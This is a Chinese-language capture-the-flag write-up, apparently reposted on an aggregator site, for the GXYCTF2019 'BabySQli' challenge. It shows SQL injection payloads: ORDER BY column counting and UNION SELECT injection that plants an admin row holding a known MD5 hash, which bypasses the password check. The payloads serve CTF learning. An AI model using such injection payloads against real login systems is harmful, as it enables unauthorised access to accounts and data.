[GXYCTF2019]BabySQli

Posted 高诺琪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GXYCTF2019]BabySQli相关的知识,希望对你有一定的参考价值。

这题的知识点是绕过密码的md5验证,参考Y1ng师傅的文章

 

看到题目,fuzz了一下,过滤的并不多

 而且页面源码有给sql语句,不过需要先base32再base64解码

select * from user where username = \'$name\'

直接可以用联合注入,表里有三列

1\' Order by 3#

进行用联合注入,回显wrong user!,说明用户不在第一列

1\' union select 1,2,3#

尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

1\' union select 1,\'admin\',3#

 接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据

首先可以看到该表只有一个用户

 

 然后我们可以用联合查询的方式将查询的数据插入到表中

 

 通过这样的方式,我们就可以用构造payload

用户名输入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)

1\' union select 1,\'admin\',\'e10adc3949ba59abbe56e057f20f883e\'#
密码输入
123456

POST请求 ,获得flag

 

 

 

 

 

以上是关于[GXYCTF2019]BabySQli的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[GXYCTF2019]BabySQli

[GXYCTF2019]BabySQli

[GXYCTF2019]BabySQli

BUUCTF[GXYCTF2019]BabySQli

用户名和密码分开检验产生的mysql注入——[GXYCTF2019]BabySQli

BASE32与BASE64区别与UNION查询特性